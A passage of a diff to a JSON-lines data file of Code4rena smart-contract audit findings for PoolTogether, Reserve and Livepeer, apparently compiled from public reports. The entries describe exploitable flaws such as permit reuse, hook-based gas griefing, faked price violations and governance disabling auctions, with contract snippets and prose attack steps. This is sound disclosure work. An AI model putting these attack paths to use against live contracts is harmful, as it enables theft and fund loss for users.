with the details of this report [here](https://github.com/code-423n4/2023-08-pooltogether-findings/blob/main/data/petrichor-G.md).","dataSource":{"name":"code-423n4/2023-08-pooltogether-findings","repo":"https://github.com/code-423n4/2023-08-pooltogether-findings","url":"https://github.com/code-423n4/2023-08-pooltogether-findings/issues/152"}} @@ -10341,6 +10622,41 @@ {"title":"H-05 Unmitigated","severity":"medium","body":"# Lines of code\n\n\n\n\n# Vulnerability details\n\n### Issue not mitigated\n\n### About the problem\n`sponsor` function allows caller to delegate his shares to the special address. In this case caller losses ability to win prizes. Previous version of code had `sponsor` function, which allowed to deposit funds on behalf of owner and delegate all user's funds to the `SPONSORSHIP_ADDRESS`. As result, attacker had ability to deposit small amount of funds(or 0) on behalf of user and make him delegate to the `SPONSORSHIP_ADDRESS`.\n### Solution\nPool together team has fixed that issue by removing [this function](https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L480-L482). So now attacker can't directly call `sponsor` for any address. But there is another function: `sponsorWithPermit`. This function allows anyone to provide valid permit for asset and then do sponsoring.\nIt's possible that user will create permit for other purposes(to just `depositWithPermit` function). In this case, attacker(which can be some other web portal) can reuse this permit and make user delegate all balance to the `SPONSORSHIP_ADDRESS` instead of just depositing.\n\nThis issues stands, because currently there user can't be sure, how his signed message(permit) will be used. User can sign permit to deposit, by it will be used to deposit and delegate to the sponsorship address.","dataSource":{"name":"code-423n4/2023-08-pooltogether-mitigation-findings","repo":"https://github.com/code-423n4/2023-08-pooltogether-mitigation-findings","url":"https://github.com/code-423n4/2023-08-pooltogether-mitigation-findings/issues/31"}} {"title":"M-02 Unmitigated","severity":"medium","body":"# Lines of code\n\nhttps://github.com/GenerationSoftware/pt-v5-vault/blob/main/src/Vault.sol#L1397\nhttps://github.com/GenerationSoftware/pt-v5-claimer/blob/main/src/Claimer.sol#L163\n\n\n# Vulnerability details\n\n## Comments\n\nIn the previous implementation a malicious user could set arbitrary vault hooks for `afterClaimPrize` and `beforeClaimPrize` that could be used to gas grief the claimer or cause other claims in the same call to fail by deliberately reverting\n\n## Mitigation\nThe referenced PR does solve the original issue by capping the gas sent to external calls and safely catching reverts. I was slightly concerned that enough gas was being passed to the hooks for a single reentrant call to frontrun a prize claim, however this has been fixed by another change where previously claimed prizes safely return 0. However this mitigation is unresolved by another change.\n\n## Persisting issue\nThere was another change made to the repo where claiming logic was simplified and mainly moved out of the Vault contract. However with this change any reverts are not being safely caught:\n\n```\nfunction _claim(\n Vault _vault,\n uint8 _tier,\n address[] calldata _winners,\n uint32[][] calldata _prizeIndices,\n address _feeRecipient,\n uint96 _feePerClaim\n ) internal returns (uint256) {\n uint256 actualClaimCount;\n uint256 winnersLength = _winners.length;\n for (uint256 w = 0; w < winnersLength; w++) {\n uint256 prizeIndicesLength = _prizeIndices[w].length;\n for (uint256 p = 0; p < prizeIndicesLength; p++) {\n if (0 != _vault.claimPrize(\n _winners[w],\n _tier,\n _prizeIndices[w][p],\n _feePerClaim,\n _feeRecipient\n )) {\n actualClaimCount++;\n } else {\n emit AlreadyClaimed(_winners[w], _tier, _prizeIndices[w][p]);\n }\n }\n }\n return actualClaimCount;\n }\n```\n\nThis is a problem because if the hook reverts, this is caught and then another revert is thrown:\n\n```\nfunction claimPrize(\n address _winner,\n uint8 _tier,\n uint32 _prizeIndex,\n uint96 _fee,\n address _feeRecipient\n ) external onlyClaimer returns (uint256) {\n VaultHooks memory hooks = _hooks[_winner];\n address recipient;\n\n if (hooks.useBeforeClaimPrize) {\n try\n hooks.implementation.beforeClaimPrize{ gas: HOOK_GAS }(\n _winner,\n _tier,\n _prizeIndex,\n _fee,\n _feeRecipient\n )\n returns (address result) {\n recipient = result;\n } catch (bytes memory reason) {\n revert BeforeClaimPrizeFailed(reason);\n }\n } else {\n recipient = _winner;\n }\n```\n\nAs a result, a malicious user can still gas grief a claimer by deliberately reverting in a hook.\n\n## Recommendation\nThe reverts should be safely caught in the Claimer contract, similarly to the initial change (and linked PR) that fixed this issue originally.\n\n\n\n## Assessed type\n\nLoop","dataSource":{"name":"code-423n4/2023-08-pooltogether-mitigation-findings","repo":"https://github.com/code-423n4/2023-08-pooltogether-mitigation-findings","url":"https://github.com/code-423n4/2023-08-pooltogether-mitigation-findings/issues/24"}} {"title":"Auctions run at significantly different speeds for different prize tiers","severity":"medium","body":"# Lines of code\n\nhttps://github.com/GenerationSoftware/pt-v5-claimer/blob/main/src/Claimer.sol#L76-L78\nhttps://github.com/GenerationSoftware/pt-v5-claimer/blob/main/src/Claimer.sol#L136\nhttps://github.com/GenerationSoftware/pt-v5-claimer/blob/main/src/Claimer.sol#L262-L264\nhttps://github.com/GenerationSoftware/pt-v5-claimer/blob/main/src/Claimer.sol#L223-L250\nhttps://github.com/GenerationSoftware/pt-v5-claimer/blob/main/src/Claimer.sol#L289\n\n\n# Vulnerability details\n\n## Comments\n\nThe V5 implementation delegates the task of claiming prizes to a network of claimers. The fees received by a claimer are calculated based on a dutch auction and limited based on the prize size of the highest tier (the smallest prize). As a result, it is possible that the gas price could exceed the fee received by claimers, leading to prizes not being claimed. If any high value prizes happen to be drawn during this period then they will go unclaimed.\n\n## Mitigation\n\nThe new implementation only computes the max fee size based on the prize tier that is being claimed for. As a result the fees received by claimers are now larger for larger prize tiers, thereby incentivising lower tiers (i.e. those with higher prizes) to be claimed first and resulting in more fees paid to claimers.\n\n## New issue\n\nBecause all the tiers run on the same auction, each auction will now run at a completely different speed\n\n## Impact\nIf the `_maximumFee` parameter specified in the constructor is relatively small, then the max fee for the lower prize tiers (higher prizes) will never be reached anyway. If the `_maximumFee` is relatively large to give sufficient range for the auctions, the auctions for higher tiers (lower prizes) will ramp up very quickly to the max limit based on the prize tier. The real impact of this is that auctions are now running inefficiently, where fees are likely to be higher than they could be for the higher tiers (i.e. the bots are getting more fees than they would be willing to accept).\n\n## Proof of Concept\nBased on the updated implementation, the maximum fee to be paid is now a function of the tier being claimed for, not the total number of active tiers:\n\n```\n function _computeMaxFee(uint8 _tier) internal view returns (uint256) {\n return UD60x18.unwrap(maxFeePortionOfPrize.intoUD60x18().mul(UD60x18.wrap(prizePool.getTierPrizeSize(_tier))));\n }\n```\n\nThe return value of this call is used as the first parameter for calls to `_computeFeePerClaim` and in turn the last parameter of `_computeFeeForNextClaim `:\n\n```\n function _computeFeeForNextClaim(\n uint256 _minimumFee,\n SD59x18 _decayConstant,\n SD59x18 _perTimeUnit,\n uint256 _elapsed,\n uint256 _sold,\n uint256 _maxFee\n ) internal pure returns (uint256) {\n uint256 fee = LinearVRGDALib.getVRGDAPrice(\n _minimumFee,\n _elapsed,\n _sold,\n _perTimeUnit,\n _decayConstant\n );\n return fee > _maxFee ? _maxFee : fee;\n }\n```\n\nAs you can see, the fee is capped based on the max fee for the prize tier being claimed for. This seems to be doing what was intended, however there is only one auction for all the tiers, and thus the auction decay constant is consistent across all the tiers:\n\n```\n constructor(\n PrizePool _prizePool,\n uint256 _minimumFee,\n uint256 _maximumFee,\n uint256 _timeToReachMaxFee,\n UD2x18 _maxFeePortionOfPrize\n ) {\n if (_minimumFee >= _maximumFee) {\n revert MinFeeGeMax(_minimumFee, _maximumFee);\n }\n prizePool = _prizePool;\n maxFeePortionOfPrize = _maxFeePortionOfPrize;\n decayConstant = LinearVRGDALib.getDecayConstant(\n LinearVRGDALib.getMaximumPriceDeltaScale(_minimumFee, _maximumFee, _timeToReachMaxFee)\n );\n minimumFee = _minimumFee;\n timeToReachMaxFee = _timeToReachMaxFee;\n }\n```\n\nWhichever is the lowest of the auction `_maximumFee` and the tier `maxFee` is the max fee that could possibly be collected. In order to allow all prize tiers to be claimed it is likely that the `_maximumFee` in the constructor will be increased, however this now means the decay constant is greater and therefore the auctions ramp up faster. For tiers with a lower max fee, this means the max fee is reached significantly faster, leading to inefficient auctions.\n\n## Tools used\nManual review\n\n## Recommendation\nPotentially there is another angle to resolve the issue reported in the original contest by having a mechanism that allows the max fee to be increased if not enough prizes have been redeemed in the last draw, although this introduces additional complexity.\n\nAlternatively there needs to be an auction for each tier with its own decay constant (i.e. min and max fees) to ensure that all the auctions are ramping up in a similar (but not necessarily identical) manner. In my opinion this option makes the most sense and is the least complex and therefore also the hardest to manipulate (if at all).\n\n\n\n\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-08-pooltogether-mitigation-findings","repo":"https://github.com/code-423n4/2023-08-pooltogether-mitigation-findings","url":"https://github.com/code-423n4/2023-08-pooltogether-mitigation-findings/issues/15"}} +{"title":"Attacker might disable trading by faking a report violation","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/99d9db72e04db29f8e80e50a78b16a0b475d79f3/contracts/plugins/trading/DutchTrade.sol#L212-L214\n\n\n# Vulnerability details\n\nDutch trade now creates a report violation whenever the price is x1.5 then the best price.\nThe issue is that the attacker can fake a report violation by buying with the higher price. Since revenue traders don't have a minimum trade amount that can cost the attacker near zero funds.\n\nMitigation might be to create violation report only if the price is high and the total value of the sell is above some threshold.\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-08-reserve-mitigation-findings","repo":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings","url":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings/issues/40"}} +{"title":"Furnace would melt less than intended","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/99d9db72e04db29f8e80e50a78b16a0b475d79f3/contracts/p1/Furnace.sol#L92-L105\n\n\n# Vulnerability details\n\nWe traded one problem with another here\nThe original issue was that in case `melt()` fails then the distribution would use the new rate for previous periods as well.\nThe issue now is that in case of a failure (e.g. paused or frozen) we simply don’t melt for the previous period. Meaning RToken holders would get deprived of the melting they’re supposed to get.\n\nThis is esp. noticeable when the ratio has been decreased and the balance didn’t grow much, in that case we do more harm than good by updating `lastPayout` and `lastPayoutBal`.\n\nA better mitigation might be to update the `lastPayout` in a way that would reflect the melting that should be distributed.\n\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-08-reserve-mitigation-findings","repo":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings","url":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings/issues/37"}} +{"title":"Funds aren't distributed before changing distribution","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/99d9db72e04db29f8e80e50a78b16a0b475d79f3/contracts/p1/Distributor.sol#L59-L63\n\n\n# Vulnerability details\n\nMitigation does solve the issue, however there’s a wider issue here that funds aren’t distributed before set distribution is executed.\nFully mitigating the issue might not be possible, as it’d require to send from the backing manager to revenue trader and sell all assets for the `tokenToBuy`. But we can at least distribute the current balance before changing the distribution.\n\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-08-reserve-mitigation-findings","repo":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings","url":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings/issues/36"}} +{"title":"Protocol might enter a state of doubt, where stakers won't stake in fear that the government would execute a reset","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/99d9db72e04db29f8e80e50a78b16a0b475d79f3/contracts/p1/StRSR.sol#L490-L500\n\n\n# Vulnerability details\n\nIn case the protocol is in a situation where the remaining value is borderline worth resetting, we might enter a state where for a long time users won't stake in fear that a reset might be executed.\nThis will keep going on till either a reset is executed or enough is staked to exit the borderline situation.\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-08-reserve-mitigation-findings","repo":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings","url":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings/issues/31"}} +{"title":"In case if asset was unregistered right before `RevenueTrader.manageTokens` was called, then asset is stucked","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/3.0.0-rc5/contracts/p1/RevenueTrader.sol#L132\nhttps://github.com/reserve-protocol/protocol/blob/3.0.0-rc5/contracts/p1/AssetRegistry.sol#L125\n\n\n# Vulnerability details\n\n### Impact\nToken will stuck in the RevenueTrader, until it will be registered again. If it's not possible, token will stuck forever.\n### Proof of Concept\nWhen BackingManager forwards revenue, then it goes to the RevenueTrader contract. To trade those tokens someone should call `RevenueTrader.manageTokens` manually.\nIn case if asset was unregistered right before `RevenueTrader.manageTokens` was called for it, then this asset will be stucked inside RevenueTrader. This is because unregistering of asset, [will remove it from registry](https://github.com/reserve-protocol/protocol/blob/3.0.0-rc5/contracts/p1/AssetRegistry.sol#L116-L117), which makes it impossible [to fetch info about it](https://github.com/reserve-protocol/protocol/blob/3.0.0-rc5/contracts/p1/RevenueTrader.sol#L132), as it will [revert](https://github.com/reserve-protocol/protocol/blob/3.0.0-rc5/contracts/p1/AssetRegistry.sol#L125).\n\nAs result, token will sit into `RevenueTrader`, till it will be registered again. But in case when it's not possible(not desired) for some reason to register that token back, then there is no way to sell it or remove from the RevenueTrader.\n### Tools Used\nVsCode\n\n### Recommended Mitigation Steps\nAdd ability to withdraw tokens from RevenueTrader, so governance can do that in order to swap tokens and then forward `tokenToBuy` to the distribution.\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-08-reserve-mitigation-findings","repo":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings","url":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings/issues/29"}} +{"title":"M-10 Unmitigated","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/31394fdd52e2f16595dff36949076804b85e3f81/contracts/plugins/assets/OracleLib.sol#L24-L26\n\n\n# Vulnerability details\n\n# Comments\n\nI think it's not a good idea to waste gas on that act of having no definite effect. Firstly, you can fetch the deprecating state by tracking the chainlink official data https://reference-data-directory.vercel.app/feeds-mainnet.json (It's the data source of the https://docs.chain.link/ but as soon the URLs are not documented anywhere, there is a chance they won't work in long term, but you could save/cache that data and update it from time to time.), which includes deprecating feeds, such as :\n```\n{\n\"compareOffchain\": \"\",\n\"contractAddress\": \"0x299e74895b4De8dF505C43146D0555983859034B\",\n\"contractType\": \"\",\n\"contractVersion\": 4,\n\"decimalPlaces\": 9,\n\"ens\": \"gno-eth\",\n\"formatDecimalPlaces\": 0,\n\"healthPrice\": \"\",\n\"heartbeat\": 86400,\n\"history\": false,\n\"multiply\": \"1000000000000000000\",\n\"name\": \"GNO / ETH\",\n\"pair\": [\n\"GNO\",\n\"ETH\"\n],\n\"path\": \"gno-eth\",\n\"proxyAddress\": \"0xA614953dF476577E90dcf4e3428960e221EA4727\",\n\"threshold\": 2,\n\"valuePrefix\": \"\",\n\"assetName\": \"Gnosis\",\n\"feedCategory\": \"deprecating\",\n\"feedType\": \"Crypto\",\n\"docs\": {\n\"assetClass\": \"Crypto\",\n\"assetName\": \"Gnosis\",\n\"baseAsset\": \"GNO\",\n\"baseAssetClic\": \"GNO_CR\",\n\"blockchainName\": \"Ethereum\",\n\"clicProductName\": \"GNO/ETH-RefPrice-DF-Ethereum-001\",\n\"deliveryChannelCode\": \"DF\",\n\"feedCategory\": \"deprecating\",\n\"feedType\": \"Crypto\",\n\"hidden\": true,\n\"productSubType\": \"Reference\",\n\"productType\": \"Price\",\n\"quoteAsset\": \"ETH\",\n\"quoteAssetClic\": \"ETH_CR\",\n\"shutdownDate\": \"March 8th, 2023\"\n},\n\"decimals\": 18\n},\n```\n\nAnd based on my observation, most of the deprecated feeds are still running normally. The chainlink does not specify the on-chain behavior when deprecation occurs. Maybe it will set the `aggregator` to address zero, or maybe other changes will also lead to a non-message revert, such as an address like 0xdEaD . So I think it's not a good idea to add the check `EACAggregatorProxy(address(chainlinkFeed)).aggregator() == address(0)` to every oracle query, which is a waste of gas. \n\nJust let governance handle these rare events IMO.\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-08-reserve-mitigation-findings","repo":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings","url":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings/issues/28"}} +{"title":"dutchTradeDisabled[erc20] gives governance an incentive to disable RSR auctions","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/3.0.0-rc5/contracts/p1/Broker.sol#L213-L216\n\n\n# Vulnerability details\n\nThe mitigation adds different disable flags for GnosisTrade and DutchTrade. It can disable dutch trades by specific collateral. But it has serious problem with overall economic model design. \n\nThe traders Broker contract are under control of the governance. The governance proposals are voted by stRSR stakers. And if the RToken is undercollateralized, the staking RSR will be sold for collaterals. In order to prevent this from happening, the governance(stakers) have every incentive to block the rsr auction. Although governance also can set disable flag for trade broker in the previous version of mitigation, there is a difference made it impossible to do so in previous versions. \n\nIn the pre version, there is only one disable flag that disables any trades for any token. So if the governance votes for disable trades, the RToken users will find that they can't derive any gain from RToken. So no one would try to issue RToken by their collateral. It is also unacceptable for governance.\n\nBut after the mitigation, the governance can decide only disable the DutchTrade for RSR. And they can initiate a proposal about enable RSR trade -> open openTrade -> re-disable RSR trade to ensure their own gains. And most importantly, this behavior seems to do no harm to RToken holders just on the face of it, and it therefore does not threaten RToken issuance.\n\nSo in order to prevent the undercollateralized case, dutchTradeDisabled[erc20] gives governance every incentive to disable RSR auctions.\n\n## Impact\nWhen RToken is undercollateralized, disabling RSR trade will force users into redeeming from RToken baskets. It will lead to even greater depeg, and the RToken users will bear all the losses, but the RSR stakers can emerge unscathed.\n\n## Proof of Concept\nStRSR stakers can initiate such a proposal to prevent staking RSR auctions:\n\n1. Call `Broker.setBatchTradeDisabled(bool disabled)` to disable any GnosisTrade.\n\n2. And call `setDutchTradeDisabled(RSR_address, true)` to disable RSR DutchTrade.\n\n## Tools Used\nManual review\n\n## Recommended Mitigation Steps\nThe `dutchTradeDisabled` flag of RSR should not be set to true directly by governance in the `Broker.setDutchTradeDisabled` function. Add a check like that:\n```\nrequire(!(disabled && rsrTrader.tokenToBuy()==erc20),\"xxxxxxx\");\n```\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-08-reserve-mitigation-findings","repo":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings","url":"https://github.com/code-423n4/2023-08-reserve-mitigation-findings/issues/20"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/0x11singh99-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/254"}} +{"title":"Treasury address cannot be updated in Govnor contract","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/treasury/LivepeerGovernor.sol#L63\n\n\n# Vulnerability details\n\n## Impact\nDetailed description of the impact of this finding.\n\n## Proof of Concept\n\nIn Governor contract,\n\nwe have a function\n\n```solidity\n function bumpGovernorVotesTokenAddress() external {\n \t\t\ttoken = votes();\n }\n```\n\nwhen the token address is updated, the token can be sycned\n\nHowever, if the controller owner update the treasury address by calling in controller [code](https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/Controller.sol#L29)\n\n```solidity\n /**\n * @notice Register contract id and mapped address\n * @param _id Contract id (keccak256 hash of contract name)\n * @param _contractAddress Contract address\n */\n function setContractInfo(\n bytes32 _id,\n address _contractAddress,\n bytes20 _gitCommitHash\n ) external override onlyOwner {\n registry[_id].contractAddress = _contractAddress;\n registry[_id].gitCommitHash = _gitCommitHash;\n\n emit SetContractInfo(_id, _contractAddress, _gitCommitHash);\n }\n```\n\nthe governor contract treasury address and controller treasury address is out of sync\n\n## Tools Used\n\nManual Review\n\n## Recommended Mitigation Steps\n\nadd a function to bump treasury address as well\n\n\n## Assessed type\n\nGovernance","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/249"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/SAQ-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/244"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/hunter_w3b-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/238"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/c3phas-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/222"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/favelanky-Q.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/214"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-08-livepeer-findings/blob/main/data/0xta-G.md).","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/213"}} +{"title":"Spec: Wrong description of `Parameters` in `LIP-92`","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-livepeer/blob/main/contracts/bonding/BondingManager.sol#L1-L1674\n\n\n# Vulnerability details\n\n## Impact\nUsers usually go to the docs & specification to see how to integrate a project. Currently the documentation and the code do not match.\n## Proof of Concept\n- Take a look at [LIP-92](https://github.com/livepeer/LIPs/blob/master/LIPs/LIP-92.md#parameters) :\n```\nParameters\ncontract BondingManager {\n function treasuryRewardCut() external view returns (uint256);\n function setTreasuryRewardCut(uint256 _value) external; // @audit this is NOT the setTreasuryRewardCut and _value, it's the setTreasuryRewardCutRate and _cutRate.\n\n function nextRoundTreasuryRewardCut() external view returns (uint256);\n\n function treasuryBalanceCeiling() external view returns (uint256);\n function setTreasuryBalanceCeiling(uint256 _value) external; // @audit this is NOT the _value, it's the _ceiling.\n\n}\n```\n1. The current implementation of the `BondingManager.sol` contract does not have the function `treasuryRewardCut()`.\n2. The current implementation of the `BondingManager.sol` contract does not have the function `setTreasuryRewardCut()`. Instead there is a `setTreasuryRewardCutRate()` function : [here](https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingManager.sol#L167-L169)\n```\nFile: BondingManager.sol\n167: function setTreasuryRewardCutRate(uint256 _cutRate) external onlyControllerOwner {\n168: _setTreasuryRewardCutRate(_cutRate);\n169: }\n```\n3. The current implementation of the `BondingManager.sol` contract does not have the function `nextRoundTreasuryRewardCut()`\n4. The current implementation of the `BondingManager.sol` contract does not have the function `treasuryBalanceCeiling()`.\n5. Wrong `setTreasuryBalanceCeiling()` interface :\n- In Spec :\n```\nfunction setTreasuryBalanceCeiling(uint256 _value) external // @audit this is NOT the _value, it's the _ceiling.\n```\n- In `BondingManager.sol` : [here](https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingManager.sol#L176)\n```\nFile: BondingManager.sol\n176: function setTreasuryBalanceCeiling(uint256 _ceiling) external onlyControllerOwner {\n```\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nUse the correct docs by fixing the mentioned issues.\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/209"}} +{"title":"The logic in _handleVoteOverride to determine if an account is transcoder is not consistent with the logic in the BondManager.sol","severity":"medium","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/treasury/GovernorCountingOverridable.sol#L184\n\n\n# Vulnerability details\n\n## Impact\n\nThe logic in _handleVoteOverride to determine if an account is transcoder has issue\n\n## Proof of Concept\n\nIn the current implementation,\n\nwhen a voting, the function [_countVote is triggered](https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/treasury/GovernorCountingOverridable.sol#L151), this function is overriden in the function GovernorCountingOverridable.sol\n\n```solidity\n _weight = _handleVoteOverrides(_proposalId, tally, voter, _account, _weight);\n```\n\nthis is calling:\n\n```solidity\n function _handleVoteOverrides(\n uint256 _proposalId,\n ProposalTally storage _tally,\n ProposalVoterState storage _voter,\n address _account,\n uint256 _weight\n ) internal returns (uint256) {\n\n uint256 timepoint = proposalSnapshot(_proposalId);\n\n address delegate = votes().delegatedAt(_account, timepoint);\n\n // @audit\n // is transcoder?\n bool isTranscoder = _account == delegate;\n \n if (isTranscoder) {\n // deduce weight from any previous delegators for this transcoder to\n // make a vote\n return _weight - _voter.deductions;\n }\n```\n\nthe logic to determine if an account is the transcoder is too simple in this [line of code](https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/treasury/GovernorCountingOverridable.sol#L184)\n\n```solidity\n// @audit\n// is transcoder?\nbool isTranscoder = _account == delegate;\n```\n\nand does not match the logic that determine if the address is an registered transcorder and an active transcoder in the bondManager.sol\n\nIn BondManager.sol, the function that used to check if a transcoder is registered is in this [line of code](https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingManager.sol#L1156)\n\n```solidity\n /**\n * @notice Return whether a transcoder is registered\n * @param _transcoder Transcoder address\n * @return true if transcoder is self-bonded\n */\n function isRegisteredTranscoder(address _transcoder) public view returns (bool) {\n Delegator storage d = delegators[_transcoder];\n return d.delegateAddress == _transcoder && d.bondedAmount > 0;\n }\n```\n\nthe function that used to check if a transcoder is active is in [this line of code](https://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingManager.sol#L1145)\n\n```solidity\n function isActiveTranscoder(address _transcoder) public view returns (bool) {\n Transcoder storage t = transcoders[_transcoder];\n uint256 currentRound = roundsManager().currentRound();\n return t.activationRound <= currentRound && currentRound < t.deactivationRound;\n }\n```\n\nMissing the check the the delegator's bond amount (delegators[_transcoder].bondeAmount > 0)\n\nthe code incorrectedly count regular delegator as transcoder and does not update the deduction power correctedly\n\n## Tools Used\n\nManual Review\n\n## Recommended Mitigation Steps\n\nreuse the function isRegisteredTranscoder and isActiveTranscoder to determine if an account is a registered and active transcoder when counting the voting power\n\n\n## Assessed type\n\nGovernance","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/206"}} +{"title":"ClaimRounds claims token pool shares until the current round, rather than until the end round.","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingManager.sol#L447-L457\n\n\n# Vulnerability details\n\n## Impact\n\nClaim Rounds claims pool token shares for the whole round rather than until the end round that the function caller specifies.\n\n## Proof of Concept\n\nThe `claimEarnings` function takes in an _endRound parameter. However, this parameter does not affect the round until which the rewards are claimed. Instead, rewards are claimed until the current round.\n\n```solidity\n function claimEarnings(uint256 _endRound)\n external\n whenSystemNotPaused\n currentRoundInitialized\n autoCheckpoint(msg.sender)\n {\n\n _endRound;\n\n _autoClaimEarnings(msg.sender);\n }\n```\n\nThis does not match the code comments which clearly state that the tokens should be claimed until the end round:\n\n```\n@notice Claim token pools shares for a delegator from its lastClaimRound through the end round\n```\n\n## Tools Used\n\nManual Review\n\n## Recommended Mitigation Steps\n\nUse the `_endRound` parameter within the `claimEarnings` function and set it as the upper bound until which rewards are claimed.\n\n\n\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-08-livepeer-findings","repo":"https://github.com/code-423n4/2023-08-livepeer-findings","url":"https://github.com/code-423n4/2023-08-livepeer-findings/issues/205"}} +{"title":"Fully slashed transcoder can vote with 0 weight messing up the voting calculations","severity":"medium","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/treasury/GovernorCountingOverridable.sol#L181-L189\n\n\n# Vulnerability details\n\n## Impact\nIf a transcoder gets slashed fully he can still vote with 0 amount of `weight` making any other delegated user that wants to change his vote to subtract their `weight` amount from other delegators/transcoders.\n\n## Proof of Concept\nIn `BondingManager.sol` any transcoder can gets slashed by a specific percentage, and that specific transcoder gets resigned and that specific percentage gets deducted from his `bondedAmount` \nhttps://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingManager.sol#L394-L411\nIf any `bondedAmount` will remain then the penalty will also gets subtracted from the `delegatedAmount`, if not, nothing happens \nhttps://github.com/code-423n4/2023-08-livepeer/blob/a3d801fa4690119b6f96aeb5508e58d752bda5bc/contracts/bonding/BondingManager.sol#L412-L417\nAfter that the `penalty` gets burned and the fees gets paid to the finder, if that is the case 